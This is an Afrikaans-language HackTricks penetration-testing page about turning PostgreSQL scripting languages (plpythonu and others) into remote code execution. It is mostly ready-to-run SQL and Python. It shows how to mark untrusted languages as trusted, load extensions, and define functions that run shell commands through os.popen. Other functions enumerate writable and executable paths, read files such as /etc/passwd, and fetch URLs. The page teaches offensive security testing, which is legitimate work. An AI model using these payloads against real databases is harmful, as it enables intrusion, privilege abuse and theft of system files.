hacktricks/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md

8.9 KiB

RCE met PostgreSQL Tale

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}

PostgreSQL Tale

Die PostgreSQL databasis waartoe jy toegang het, mag verskillende skripting tale geïnstalleer hê wat jy kan misbruik om arbitraire kode uit te voer.

Jy kan hulle aan die gang kry:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Die meeste van die skripting tale wat jy in PostgreSQL kan installeer het 2 variasies: die vertroude en die onvertroude. Die onvertroude sal 'n naam hê wat eindig op "u" en sal die weergawe wees wat jou toelaat om kode uit te voer en ander interessante funksies te gebruik. Dit is tale wat, indien geïnstalleer, interessant is:

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • ... (enige ander programmeertaal wat 'n onveilige weergawe gebruik)

{% hint style="warning" %} As jy vind dat 'n interessante taal geïnstalleer is maar onvertrou deur PostgreSQL (lanpltrusted is false) kan jy probeer om dit te vertrou met die volgende lyn sodat geen beperkings deur PostgreSQL toegepas sal word:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

{% endhint %}

{% hint style="danger" %} As jy nie 'n taal sien nie, kan jy probeer om dit te laai met (jy moet superadmin wees):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

{% endhint %}

Let op dat dit moontlik is om die veilige weergawes as "onveilig" te kompileer. Kyk na hierdie byvoorbeeld. Dit is altyd die moeite werd om te probeer of jy kode kan uitvoer, selfs al vind jy net die vertroude een geïnstalleer.

plpythonu/plpython3u

{% tabs %} {% tab title="RCE" %}

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

{% endtab %}

{% tab title="Kry OS gebruiker" %}

CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';

SELECT get_user(""); #Get user, para is useless

{% endtab %}

{% tab title="Lys gids" %}

CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';

SELECT lsdir("/"); #List dir

{% endtab %}

{% tab title="Vind W gids" %}

CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables

return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';

SELECT findw("/"); #Find Writable folders from a folder (recursively)

{% endtab %}

{% tab title="Vind Lêer" %}

CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_file("psql"); #Find a file

{% endtab %}

{% tab title="Vind uitvoerbare lêers" %}

CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find(dir)
b = []

for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT findx("/"); #Find an executables in folder (recursively)

{% endtab %}

{% tab title="Vind exec deur subs" %}

CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_exe("psql"); #Find executable by susbstring

{% endtab %}

{% tab title="Lees" %}

CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';

select read('/etc/passwd'); #Read a file in b64

{% endtab %}

{% tab title="Kry regte" %}

CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';

select get_perms("/etc/passwd"); # Get perms of file

{% endtab %}

{% tab title="Versoek" %}

CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req2('https://google.com'); #Request using python2

CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req3('https://google.com'); #Request using python3

{% endtab %} {% endtabs %}

pgSQL

Kyk na die volgende bladsy:

{% content-ref url="pl-pgsql-password-bruteforce.md" %} pl-pgsql-password-bruteforce.md {% endcontent-ref %}

C

Kyk na die volgende bladsy:

{% content-ref url="rce-with-postgresql-extensions.md" %} rce-with-postgresql-extensions.md {% endcontent-ref %}

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}